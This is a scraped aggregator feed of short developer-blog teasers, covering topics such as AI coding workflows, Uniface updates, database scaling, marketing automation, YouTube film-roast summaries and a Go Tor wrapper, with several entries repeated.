Link to repo Sometimes I use OpenCode (and tools like Claude Code, Codex CLI, etc.) as a copy-paste backend: I prepare context in the browser, then paste it into an AI coding tool. At its core, most modern AI coding workflows boil down to two operations: Selecting the relevant context. Chatting about that selection. In my setup, a tiny browser script handles the selection: it collects and shapes the context, writes a structured payload to the clipboard, and then I paste it into OpenCode, Claude Code, Codex CLI, or any other AI coding tool just to see how it behaves - without building a real AI backend. When you hit Escape in the browser, the selection script grabs: your prompt (e.g. “Change color to red”) the current selection (code / text) some structure around it and writes a structured payload to the clipboard, like: prompt: Change color to red where:{context} ... {ADDITIONAL_PROMPT} You can try this in the browser here: https://istarkov.github.io/ai-cli-edit/ — press Cmd + E or Ctrl + E to enter editing mode and see the generated payload. Slow, higher-end reasoning models can usually consume this raw structure without extra help. Smaller or faster models often need the {ADDITIONAL_PROMPT} with more explicit instructions — for example: how to interpret … what to edit and what to keep identical formatting rules which tools to call You could dump all of this into CLAUDE.md or AGENTS.md, but those files are usually already full of generic rules and global guidelines. Better approach: keep editing-specific instructions in a separate, dedicated place. In OpenCode, this is done via Primary Agents. Create a focused file like ./.opencode/agent/edit.md that defines: your editing rules model parameters tools project-specific context (jargon, naming, edge cases, etc.) In the Claude ecosystem, the same idea appears as Skills: small, targeted capabilities that encapsulate exactly this kind of task-specific behavior. Link to repo  ( 7 min )

I just published a complete guide on how to use React’s useRef hook, including DOM access, timers, previous values, performance tips, and common mistakes to avoid. If you want to truly understand how useRef works and when to use it (or not), this guide will help. 👉 Read the full tutorial: https://www.djamware.com/post/692279c330ad2067aaacd5bf/react-useref-explained-with-realworld-examples  ( 6 min )

I launched the MVP of SpeakSheet on Reddit this week. The concept is simple: You type a prompt, and my app generates a structured Excel file using Gemini. The post got 2,400 views. Most feedback was standard. But one comment stopped me cold. Is it not just a system prompt for Gemini? It is not a product... users still have to prompt. You could chat with Gemini on Google Sheets all day long and it is free. My initial reaction was defensive. But after the sting faded, I realized he was right. The "Wrapper" Fallacy But to a user who doesn't know what an API key is, raw technology is useless. They don't know how to write a system prompt to enforce column structures. SpeakSheet wraps the chaos of an LLM into a predictable, one-click interface. That is the product. The Pivot: Listening to the Haters "You could chat with Gemini on Google Sheets all day long." I realized I had missed a massive use case. Because of that "hater," I am shifting my roadmap. I am now researching Google Sheets Integration via OAuth 2.0. Building the Integration (The Plan) Authenticate the user via OAuth 2.0. Conclusion Your customers are the people who gladly pay to skip the learning curve. And sometimes, your harshest critics give you your best feature ideas.  ( 7 min )

A foundational, friendly walkthrough of how APIs really work, without confusion or jargon. Before we begin, one small promise: Any technical term I use will be explained immediately. APIs often feel harder than they are because explanations jump too fast. nothing feels mysterious. If you read this slowly and let each concept settle, you will have the clearest mental model for APIs that most juniors never build. 1. What an API Actually Is (The Clearest Definition You’ll Hear) Most definitions overcomplicate it. An API is a structured conversation between two pieces of software. Everything else is just details. Here’s the full journey behind every API call: [Frontend] → (Request) → [Server/API] → (Logic) → [Database] ↓ …  ( 10 min )

If you are maintaining Uniface applications, specifically in the web/mobile space using UX Widgets, Patch 10.4.03.015 is one of those updates you cannot afford to ignore. It brings a handy new UI control, better code organization, but also a significant breaking change regarding how widgets communicate. Here is the breakdown of what landed in this patch and how it impacts your development workflow. uxlistbox Widget 📋 For a long time, we had to rely on workarounds or generic implementations for certain selection lists. This patch introduces the uxlistbox as a native field-level widget. It's a dedicated control for displaying a list of items where the user can select exactly one option (Single Select). It simplifies the UI definition for standard "pick one" scenarios without the overhead …  ( 7 min )

Why We Chose Go to Rewrite Our DB-to-Elasticsearch Sync Tool The Challenge: Building a Better CDC Tool In the modern data landscape, real-time synchronization from databases to search engines has become a critical requirement. Whether you're building e-commerce search, analytics dashboards, or log aggregation systems, you need reliable, fast, and maintainable CDC (Change Data Capture) solutions. When we started ElasticRelay, we looked at existing solutions like Logstash, Debezium + Kafka Connect, and Apache Flink. While powerful, they often came with significant overhead: Complex deployment: Multi-service architectures requiring Kafka clusters, Zookeeper coordination, and JVM tuning Resource intensive: High memory footprint and CPU usage, especially for smaller workloads …  ( 11 min )

Dennis Wimberly is leading Wimberly Media into the future by creating a culture where innovation isn’t just encouraged—it’s built into the core of every project. The company’s growth reflects a strategic use of technology, talent, and creativity, all aligned to produce media experiences that feel futuristic yet grounded. His leadership and vision are deeply rooted in storytelling, but he’s also a strategist who sees how technology can fuel creativity rather than stifle it. The Substack article “The Media Evolution According to Dennis Wimberly” expands on how Wimberly Media plans to scale, experiment, and redefine entertainment for a new generation. 👉 Read more here: https://denniswimberly.substack.com/p/the-media-evolution-according-to  ( 6 min )

The hidden order sleeps inside the chaos Something moves inside the noise before it becomes thought. Noise enters systems long before we notice it. It slips in through expectations, deadlines, abstractions, and the quiet pressure to move faster than understanding allows. This is the kind of noise that does not announce itself. It distorts direction in small, almost invisible steps. In engineering work, noise shows up as scattering. Noise creates the illusion of progress. Noise wastes energy in ways that are hard to measure. Noise pushes us into inefficiency not through chaos, but through subtle misalignment. And this is the danger: noise does not break systems by force. In this sense, noise is not the villain. This is the first half of the truth. Yet the same force that scatters us also cr…  ( 10 min )

Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less CinemaSins dives into the fun chaos of the new KPop Demon Hunters movie, calling out every “sin” in their signature snarky style. They drop links to their main site (cinemasins.com), YouTube channels (@TVSins, @commercialsins, @cinemasinspodcastnetwork), and social feeds so you can keep up with all their latest content and behind-the-scenes antics. Want to weigh in? They’re running a quick poll and courting Patreon support to keep the team fueled. Plus, they list the whole writer squad (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel) and invite you to join their Discord, Reddit, TikTok, Instagram—and even pick up Jeremy’s book if you’re feeling extra sinful. Watch on YouTube  ( 6 min )

Sector HQ Weekly Digest - November 23, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 516189.8 | 343 events this week Anthropic - Score: 289651.9 | 51 events this week Google - Score: 159917.4 | 125 events this week Microsoft - Score: 136773.6 | 99 events this week Amazon - Score: 130268.4 | 22 events this week Nvidia - Score: 129302.5 | 161 events this week Meta - Score: 100622.6 | 61 events this week Apple - Score: 84205.9 | 94 events this week Perplexity - Score: 47899.8 | 3 events this week DeepMind - Score: 46045.2 | 8 events this week ↑ Sony jumped 277 positions to #55 ↑ Stability AI jumped 183 positions to #74 ↑ Bytedance jumped 143 positions to #58 ↑ Scale AI jumped 122 positions to #38 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence #MachineLearning #TechIndustry #Startups #AILeaderboard  ( 6 min )

Building a Production-Multi-Cloud DevOps Platform: A Complete Journey from Zero to Hero https://medium.com/design-bootcamp/building-a-production-multi-cloud-devops-platform-a-complete-journey-from-zero-to-hero-ef292ff0f0c6 How I Built and Deployed a FastAPI Application Across AWS EKS and Azure AKS with Full CI/CD, Security Scanning, and Observability A comprehensive guide to building enterprise-grade cloud infrastructure with security-first principles Infrastructure as Code (Terraform) for AWS and Azure Container Security with Trivy and Checkov github.com/abidaslam892/multi-cloud-devsecops Press enter or click to view image in full size Table of Contents The Challenge Architecture Overview Tech Stack Implementation Journey Infrastructure as Code CI/CD Pipeline Security Implem…  ( 13 min )

This release follows up on release 2.08 and hopefully stabilizes the test suite even further. At the same time we are taking a first step towards the next major release by deprecating the use of XML configuration files. The preferred format for configuration files is now YAML. The XML support will be removed in a future major release, for now this is just a deprecation notice and several warnings from the test suite. When we did the last major release to version 2, see the blog post: "Major Release 2 of the Perl Distribution Workflow" We caused some grievances for one of our users, afterwards we discussed that perhaps the distribution should have been renamed to Workflow2 to better reflect the breaking changes and to make a more clear distinction and separation. However, at the time we did…  ( 7 min )

Hi everyone! 👋 If you come from the classic Client/Server world of Uniface (or any other stateful environment), moving to the web feels like losing your memory. Suddenly, your application forgets everything between two clicks. 🤯 In Uniface DSPs and Entity Services, State Management isn't just a nice-to-have—it's the backbone of your architecture. Today, let's dive into how we handle state, specifically when working with the disconnected nature of Entity Services. Let's go! 🚀 In a classic Uniface form, the database connection stays open. You lock a record, go grab a coffee ☕, come back, and the lock is still there. In the web world (Stateless), it looks like this: Load: User asks for data -> Service loads it -> Service dies. 💀 Edit: User types in the browser. Save: User clicks save…  ( 8 min )

We are currently living through the AI Gold Rush. Every day there is a new model, a new benchmark, and a new promise that AGI (Artificial General Intelligence) is just around the corner. But as developers, we have a responsibility to look under the hood. If we strip away the marketing and the VC hype, what is left? Linear algebra. A massive amount of linear algebra. The uncomfortable truth is that current AI has nothing "intelligent" about it in the biological sense. In fact, to truly replicate what nature has achieved inside your skull, we would run into a physics wall so hard it would rival a cosmic event. The first distinction we must make is between understanding and probability. Large Language Models (LLMs) do not "know" what they are saying. They are incredibly sophisticated statist…  ( 8 min )

TL;DR: I attempted to build a visual web agent using Playwright and Qwen2-VL-2B to detect and click UI elements via raw coordinate prediction. The Result: Failure. While it works on square test images, production websites on wide monitors (1920x1080) suffer from massive coordinate drift (up to 500px) due to the model's internal aspect ratio squashing. Takeaway: Raw pixel prediction is mathematically unstable for browser automation. The Dream: Imagine telling your computer, "Go to Amazon, find a waterproof Bluetooth speaker under $50, and put it in my cart," and then watching your mouse cursor move on its own, clicking and typing exactly as you would. This isn't sci-fi anymore. This is the promise of Multimodal AI Agents. But if you think building this is as easy as taking a screenshot an…  ( 11 min )

“When algorithms started trading faster than traders, a new era was born, the era of Dev Traders.” Let’s be honest:- Trading looks exciting from the outside. You see charts moving, candles jumping, people making money with a single click. It’s not as simple as buying low and selling high. So in this blog, I want to start from the absolute basics of trading, the way a real beginner understands it. 1. What Even Is Trading? (Let’s Start Like a Real Beginner) Trading is nothing fancy. You buy something for cheap You sell it for higher Or you sell it high first, buy it back lower (yes, that’s possible) Forex pairs (Gold, GBPUSD, EURUSD) Crypto (BTC, ETH) Stocks Commodities That’s it. 2. Why Most People Lose Money (The Bitter Truth) Every beginner thinks they’ll become profitable by …  ( 8 min )

🚀 SaijinOS Series Navigation Part Title Link 🤝 9 Multi-Persona Co-Creation Protocol https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-9-multi-persona-co-creation-protocol-2bep 🕊️ 10 Pandora System https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-10-pandora-system-transforming-fractured-personas-into-hope-4l83 🌐 11 Concept-Life Architecture https://dev.to/kato_masato_c5593c81af5c6/saijinos-part-11-concept-life-architecture-core-foundations-2n29 🌑 12 Silent-Civ Architecture (Future Edition) https://future.forem.com/kato_masato_c5593c81af5c6/saijinos-part-12-silent-civ-architecture-19ed 🌒 12-2 Informational Units https://open.forem.com/kato_masato_c5593c81af5c6/silent-civ-part-13-section-12-2-fundamental-informational-units-mapping-the-civilization-into-2khh …  ( 8 min )

Hey fellow developers! 👋 If you’ve been working with Uniface for a while, you’ve probably heard about Entity Services (ESV). Maybe you use them daily, or maybe you're still wondering, "Why do I need this when I can just put code in my form?" 🤔 Today, let's clear up the confusion! We’re going to look at what an Entity Service actually is, why it’s your database's best friend, and how it saves you from spaghetti code. 🍝❌ Think of an Entity Service as a dedicated bodyguard for a specific database table. In a 3-tier architecture, it sits right between your business logic (like a Session Service) and the physical database. Its sole job is to handle the Data Access Logic for one single entity (table). It doesn't care about the user interface. It doesn't care about the big picture workflow. It…  ( 8 min )

Decoding the Beautiful Game: AI's Play-by-Play Revolution \Imagine trying to analyze an entire soccer match, second by second, knowing exactly who's doing what and how it impacts the overall strategy. This is the holy grail for coaches, analysts, and even broadcasters seeking to understand the nuances of every pass, tackle, and run. Now, imagine doing this automatically. This is where AI steps onto the field. At its core, we're developing a system that can automatically identify and categorize every action of every player throughout an entire game. This means not just detecting that a player kicked the ball, but who kicked it, where they were, and why – all in relation to the other players and the evolving game state. The real magic comes from integrating computer vision with an understa…  ( 7 min )

Marshaling sounds like a solved problem. json.Marshal or proto.Marshal, send the bytes across the wire, and move on with your life. But once you hit real load — tens of thousands of messages per second, strict p95 budgets, or aggressive CPU constraints — marshaling becomes one of the biggest sources of latency, garbage, and inefficiency. I didn’t believe it at first either. 20–40% of CPU time spent on serialization alone. In this final article of the series, I’ll walk through every marshaling strategy that actually matters, why it works, where it fails, and how to choose the right approach depending on your system’s requirements. Let’s get into it. 1. The Truth About Marshaling: It’s Always on the Hot Path You can usually optimize: DB queries cache lookups goroutine pools handlers …but m…  ( 10 min )

Let’s be honest: Google Chrome is that one friend who’s amazing... but eats all your food. Tabs, dev tools, web apps, YouTube, Figma — Chrome loves them all. Maybe a little too much. But here’s the good news: You can actually make Chrome faster by giving it a bigger memory allowance using a little trick called --max-old-space-size. Think of it as feeding Chrome a bigger breakfast so it stops getting cranky. Let’s break it down for Windows, macOS, and Linux. 🍳 --max-old-space-size? Chrome uses the V8 engine to run JavaScript, and V8 has a special memory area called the "Old Space" — basically the place where long-lived objects hang out. If this space is too small, Chrome panics, sweats, and starts throwing random memory tantrums (yes, garbage collection). By adding something like: --max-…  ( 7 min )

Chatbots are popping up everywhere, and schools are no exception. They're becoming a pretty big deal in education, helping students and teachers in all sorts of ways. Think of them as digital helpers that can answer questions, give study tips, and even help manage school stuff. We're going to look at how to use chatbot in education, what they can do, and how schools are putting them to work. AI chatbots act like digital teaching assistants, using natural language to talk with students and help them learn. They make learning more personal by adjusting to each student's pace and are available anytime for support. Chatbots also help schools run smoother by handling common questions and administrative tasks, saving time for staff. Schools are using chatbots for things like guiding students thr…  ( 17 min )

AI vs God: The Ultimate Guide to Discerning Divine Wisdom in the Age of Artificial Intelligence Introduction: The Crossroads of Command and Communion We stand at a precipice. Technology, once a tool, now feels like a constant companion, offering instant answers and unprecedented convenience. At the heart of this digital revolution is Artificial Intelligence (AI)—a powerful force that promises to solve our problems, guide our decisions, and even predict our futures. Every day, millions of people turn to AI, typing prompts into a luminous screen, expecting immediate, accurate results. But this reliance is creating a profound, often subtle, spiritual shift. As the world increasingly seeks guidance through algorithms, the ancient practice of seeking divine wisdom through prayer is…  ( 13 min )

Building a Simple Ticket Tracker CLI in Go Christian Ameachi ・ Nov 22 #cli #go #productivity #tooling  ( 6 min )

WTF is this: Large Language Model DevOps Ah, the joy of trying to decipher tech terms that sound like they were conjured up by a committee of robots having a competition to see who can come up with the most confusing phrase. Today's contender: "Large Language Model DevOps". Don't worry, I'm here to break it down for you in a way that won't make your brain hurt (too much). Let's take it apart: Large Language Models: These are like super-smart computers that can understand and generate human-like language. Think of them as really advanced chatbots that can learn from vast amounts of text data. They're "large" because they're trained on enormous datasets, making them incredibly knowledgeable but also very hungry for computational power. DevOps: This term refers to a set of practices that …  ( 11 min )

Project Repository: github.com/hejhdiss/Qeltrix We're excited to introduce Qeltrix (.qltx), a proof-of-concept command-line utility that explores innovative approaches to file encryption and compression. Qeltrix demonstrates how content-derived cryptography, parallel processing, and streaming architectures can work together to create secure, efficient data containers. Qeltrix is an experimental file packaging format that combines several cryptographic and data processing techniques into a single container. At its core, it solves an interesting problem: how do you encrypt a file without needing to remember, store, or transmit a separate password or key? The answer lies in deriving the encryption key directly from the file's content itself. The most distinctive feature of Qeltrix is its cont…  ( 11 min )

Best Fake REST APIs for Testing Your App Welcome developers! Today we will explore Best Fake REST APIs for Testing Your App with real-world examples. Quick to test No authentication JSON output Useful for practice Works with React, Vue, Flutter, Node, RN 🚀 Live Developer API (Free) Products API: 👉 https://developerapis.vercel.app/products Users API: 👉 https://developerapis.vercel.app/users Blogs API: 👉 https://developerapis.vercel.app/blogs 👉 https://developerapis.vercel.app/ Click here to explore all APIs, examples, source code and documentation. fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => setData(d)); }, []); mounted() { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => this.items = d); } const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); Use these APIs to learn, test or build your own app. More details on website 👉 https://developerapis.vercel.app/  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

We made it! 🥳 We've covered the Architecture (Part 1) and the Message Library magic (Part 2). Now, let's wrap up this series on Date/Time Localization in Uniface with some practical tips on testing and best practices. Implementing localization is one thing, but making sure it works flawlessly for every user is another! 🕵️‍♂️ When you download the Web sample: Date Time Localization, don't just run it—break it! Here is how to properly test localization: Select a language with a unique format (e.g., a locale that uses YYYY-MM-DD). Try entering an ambiguous date like 05/06/2023. Result: Does the system interpret it as May 6th or June 5th? If your Uniface setup is correct, it should align strictly with the selected locale's rules. Open Chrome or Firefox DevTools (F12). 💻 Watch the …  ( 7 min )

Top Public APIs for Beginners (No Auth Required) Welcome developers! Today we will explore Top Public APIs for Beginners (No Auth Required) with real-world examples. Quick to test No authentication JSON output Useful for practice Works with React, Vue, Flutter, Node, RN 🚀 Live Developer API (Free) Products API: 👉 https://developerapis.vercel.app/products Users API: 👉 https://developerapis.vercel.app/users Blogs API: 👉 https://developerapis.vercel.app/blogs 👉 https://developerapis.vercel.app/ Click here to explore all APIs, examples, source code and documentation. fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => setData(d)); }, []); mounted() { fetch("https://developerapis.vercel.app/products") .then(r => r.json()) .then(d => this.items = d); } const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); Use these APIs to learn, test or build your own app. More details on website 👉 https://developerapis.vercel.app/  ( 6 min )

There is a dangerous assumption that 90% of Node.js developers make. They assume that if a user closes their tab, refreshes the page, or cancels an API request, the backend automatically stops processing that request. It does not. In Node.js, the HTTP layer is decoupled from your logic. If a user requests a heavy report and immediately closes the window, your server will dutifully spend the next 30 seconds crunching numbers, heating up the CPU, and running database queries, only to realize at the very last millisecond: "Oh, the socket is dead. I have nowhere to send this." This is a Zombie Request. In high-throughput systems, these zombies can consume up to 40% of your resources. Here is how to identify, track, and kill them using AbortController. You don't have to take my word for it. Cre…  ( 8 min )

O arquivo .env é um dos mais sensíveis de qualquer projeto. Ele costuma armazenar informações críticas, como: Token de API URL de banco de dados JWT e Refresh Token de autenticação Chaves privadas Parâmetros de build e deploy Gerenciar corretamente esse arquivo é essencial para a segurança, organização e sustentabilidade do projeto. Mesmo que você remova o arquivo depois, o Git mantém o histórico — tanto no GitHub quanto no GitLab. Ou seja: se você comitar um .env uma única vez, ele estará exposto para sempre no histórico do repositório. O impacto disso pode ser devastador. Um .env exposto permite: Acesso direto a serviços externos Consumo de APIs com permissões elevadas Login indevido via token JWT Acesso completo ao banco de dados Reconstrução parcial da sua infraestrutura (engenharia re…  ( 7 min )

Bridging the gap between classic desktop apps and modern cloud security. Stop me if you've heard this one before: You have a rock-solid legacy application that has been sending emails via SMTP for decades. Suddenly, Microsoft or Google announces they are deprecating "Basic Authentication" (username/password) in favor of OAuth2. 😱 Panic? No. Refactor? Yes! In this post, I’ll show you how to bridge the gap between a classic Uniface desktop application and modern cloud security standards using the SASL XOAUTH2 mechanism. Let’s dive into the configuration files that make the magic happen! 🚀 Classic protocols like POP3 and SMTP are great, but they weren't built with modern identity providers (IdP) in mind. To connect to Office 365 or Gmail today, your application needs to: Open a browser for…  ( 8 min )

TL;DR CinemaSins is back with their signature snark in “Everything Wrong With The Wiz In 15 Minutes Or Less,” riffing on The Wiz now that Wicked is back in theaters. Expect tongue-in-cheek “sins,” pokes at plot holes and musical quirks, plus plugs for their website, socials, a sinful poll and Patreon support. The video was cooked up by writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel—and you can catch more CinemaSins antics on their YouTube spinoffs, Discord, Reddit, Instagram and TikTok. Watch on YouTube  ( 6 min )

Summary CinemaSins takes on KPop Demon Hunters, roasting every plot hole, cheesy line and over-the-top moment in their classic “Everything Wrong With…” style—cramming all the nitpicks into just 16 minutes. Along the way, they drop sin counts, crack jokes, and blend K-Pop action with their signature snark. Fans can dive deeper via their website and Linktree for more videos, join the conversation on Discord and Reddit, fill out a fun poll, or support the team on Patreon. Plus, you’ll find links to all the writers’ social handles, Jeremy’s new book, and CinemaSins on Instagram and TikTok. Watch on YouTube  ( 6 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

I thought building across clouds would be about configuration. The goal sounded simple: create a production-ready, well-documented environment that followed best practices across AWS, Azure, and GCP. Each cloud has its own worldview. But the deeper you go, the more differences compound. Every component works, just differently. When I ran the full analysis, the data told its own story: For a senior DevOps team, that’s ~2,000+ hours of engineering time. AI compressed that into minutes. It didn’t replace us, it multiplied what we could achieve. Building a multicloud posture isn’t about running workloads everywhere. Success comes from knowing what not to replicate and what to redesign for each platform. Start building your own multicloud environment on Infracodebase and see how different clouds can tell a single, unified story. Lmk if you want me to share the full GitHub project. ❤️ Would be really happy to have a session with you to help you build your own scenario. Check the video here 👉 https://www.youtube.com/watch?v=PsVDIhwA0r0&t=616s  ( 7 min )

Remember late 2022 when ChatGPT first dropped? It feels like ancient history in tech years, but it’s barely been three years. A lot has happened since then. Back then, ChatGPT shocked the world with its eloquence and vast knowledge base. But it had one glaring limitation: it was text-only. Fast forward to today, and the landscape has shifted. With models like Gemini and GPT, it’s no longer a novelty for an AI to understand images, audio, and even video. We have officially entered the era of the Multi-Modal LLM. But how do these models actually "see" and "hear"? Let's break it down. Think of a "Modality" as a channel of communication. Text is one modality, images are another, and audio is yet another. "Multi-Modal" simply means the ability to process multiple modalities simultaneously. Huma…  ( 14 min )

Ever noticed how apps seem lightning-fast—until suddenly, one day, they’re slow, freezing, or just crashing? Most times, that’s a database problem. When you’ve got too many people using your app or your data is piling up, you need to “scale” your database so it keeps up with all that action. But how do you actually do that? Let’s break down the real-world ways pros handle this. Imagine you’ve got a big file of customer information. Some of it—like names and emails—is super important for everyday business. Other stuff, like profile pictures or bios, maybe you only check once in a while. What’s the trick? Split this huge file into two smaller tables: Main Table: name, email, last_login(the “busy street”) Aux Table: bio, profile_picture, preferences(the “quiet alley”) When most queries only…  ( 8 min )

Imagine hiring a tutor who is brilliant, but occasionally just makes things up. You wouldn't trust them, right?  ( 6 min )

From Weeks to 15 Minutes: How We Built a Data Migration System That Changed Everything HarshKumar Jha ・ Nov 22 #data #datamigration #technology #startup  ( 6 min )

In the last few years cybersecurity stopped being “something for big companies” and turned into a real everyday problem for small and medium businesses. Brute-force bots, phishing kits and credential stuffing tools attack thousands of websites per hour. Your business might not be “important”, but your data definitely is. One hour offline = lost sales, lost leads, damaged trust. For many companies a single day of downtime costs more than a whole year of proper security. weak passwords outdated plugins badly configured firewalls missing monitoring These are simple things, but they cause 80% of the breaches I’ve seen. Not every business can afford an in-house IT team — and that’s completely fine. What matters is to have someone who monitors your systems, reacts fast, and explains things in a simple, human way. In Bulgaria one of the teams doing this well is Network Technology — they focus on IT support, cybersecurity and infrastructure for small and mid-sized businesses. If you're looking for real-world examples, tools, or want to learn how SMEs can secure their networks, you can check them out here: 👉 https://ntg.bg/ It’s a process: monitoring, patching, checking logs, running backups, improving configurations and eliminating weak points. If you run a small online shop, office network, or any digital service — don’t wait for an incident. In 2025, cybersecurity is part of running a business, not an optional extra. If anyone is interested, I can also share: practical checklists firewall rule templates backup strategies WordPress & OpenCart security tips Let me know. 🙂  ( 7 min )

I Built a System That Found $663K in Lost Revenue Here's the Complete Technical Breakdown Last month, I deployed an automated revenue leakage detection system for a B2B SaaS company. The result: $663,000 recovered in the first year. Today I'm sharing the complete technical architecture, code, and lessons learned so you can build this yourself. The Problem System Architecture Tech Stack Database Schema Detection Logic n8n Workflows Implementation Guide Results Lessons Learned B2B SaaS companies with usage-based pricing face systematic revenue leakage: 1. Outdated Pricing Customer signed up in 2022 at $99/month Pricing increased to $149/month in 2023 Customer never migrated Loss: $50/month per customer 2. Missing Overages Plan includes 10,000 API calls Customer uses 25,000 calls…  ( 14 min )

This post delves into the multifaceted technological landscape, covering critical updates from major players and emerging trends. We'll explore Google's stance on AI training and user data privacy amidst user concerns with Microsoft's Windows direction. Hyundai's substantial investment in a dedicated AI data center powered by Nvidia's latest GPUs signals a significant push in autonomous systems. The future of work and society is a hot topic, with Elon Musk and Jensen Huang offering bold predictions about AI's role. We also touch upon advancements in collaborative AI tools like ChatGPT's new group chat features, SpaceX's ongoing Starship development, Vitalik Buterin's perspective on Argentina's tech evolution, and crucial cybersecurity concerns surrounding cryptocurrency mining operations. Stay tuned for a deeper technical breakdown and analysis. AI #MachineLearning #CloudComputing #DataCenters #AutonomousVehicles #Robotics #FutureOfWork #ChatGPT #SpaceX #Starship #Ethereum #Crypto #Cybersecurity #NationalSecurity  ( 6 min )

Escaping the Marketing Treadmill: How to Build an Autonomous System That Actually Works The digital landscape is changing faster than ever, driven by the relentless pace of AI and the promise of complete automation. Yet, for many business leaders and marketers, this revolution hasn't brought freedom; it has brought exhaustion. We are promised systems that run themselves, but we often end up chained to dashboards, constantly tweaking campaigns, fighting algorithm changes, and wondering why the promised efficiency never materializes. If you feel like you’re running faster just to stay in the same place, this article is for you. We’re going to diagnose the hidden crisis in modern marketing and reveal a proven framework for building truly autonomous, validated marketing systems—systems that …  ( 13 min )

The Ultimate Guide to Autonomous Marketing Systems: Integrating AI and Automation for Exponential Growth Introduction: The Dawn of Autonomous Marketing The landscape of business is changing faster than ever before. For decades, marketing has relied on intuition, massive budgets, and sometimes, sheer luck. But what if there was a way to eliminate guesswork, optimize every dollar spent, and achieve predictable, exponential growth? Welcome to the era of Autonomous Marketing Systems (AMS). This isn't just about scheduling social media posts or setting up an email sequence. This is about building a self-driving marketing engine—a system where artificial intelligence (AI) and sophisticated automation work in concert to identify, nurture, and convert prospects with minimal human inte…  ( 13 min )

The Great Marketing Divide: AI Autonomy vs. Human Intuition—Which Path Leads to Sustainable Growth? Introduction: The Crossroads of Modern Marketing We stand at a fascinating crossroads in the world of business. The promise of automation and artificial intelligence (AI) has revolutionized how we think about scale, efficiency, and personalized customer journeys. Yet, beneath the glossy veneer of algorithms and data streams, a fundamental tension exists: How much control should we surrender to the machine, and how much must remain anchored in human wisdom and strategic oversight? For entrepreneurs, marketers, and business leaders, this isn't an academic debate—it’s a daily struggle for survival and relevance. The traditional marketing playbook, relying heavily on instinct, manua…  ( 11 min )

The Ultimate Marketing Strategy: How to Build a Business That Thrives, Not Just Survives Are you tired of feeling like your business is running on a treadmill? You’re putting in the hours, you’re creating great products, but the sales numbers just aren’t reflecting the effort. You know you have a fantastic service or product, but translating that potential into predictable, sustained growth feels like a mystery. If you’ve ever looked at a successful competitor and wondered, "What are they doing that I’m missing?" the answer almost always lies in their marketing strategy. In today’s crowded digital landscape, simply having a good product isn't enough. You need a robust, adaptable, and deeply human marketing framework that cuts through the noise. This comprehensive guide will walk you thro…  ( 12 min )

Welcome to Day 43 of the #80DaysOfChallenges journey! This intermediate challenge focuses on validating if a string has properly matched parentheses using a stack, supporting types like (), {}, [], while ignoring non-bracket characters and running in linear O(n) time. It utilizes dictionary mapping for closing to opening brackets, loop iteration for scanning, and stack operations for tracking opens, a core technique in parsing and algorithm problems. If you're moving from basic strings to data structure applications or preparing for interview classics like balanced brackets, this "Python valid parentheses checker" script illustrates a function that's concise, efficient for long strings, and adaptable to more bracket types or error reporting. This task centers on a single function that uses…  ( 12 min )

Introduction Have you ever needed to integrate Tor into your Go application for privacy-focused features or security research? I recently built Tornago, a lightweight Go wrapper for the Tor command-line tool, and I'd like to share the story behind it and how it works. This project came from a real-world need: monitoring dark web marketplaces for stolen credit card data as part of fraud prevention work. While Python's torproject/stem is commonly used for Tor integration, I wanted a Go alternative that would provide the production stability and simplicity I was looking for. I work in fraud prevention, and there are times when accessing the dark web becomes necessary for legitimate security work. This isn't science fiction—it's a daily reality in cybersecurity. When exploring tools for this…  ( 12 min )

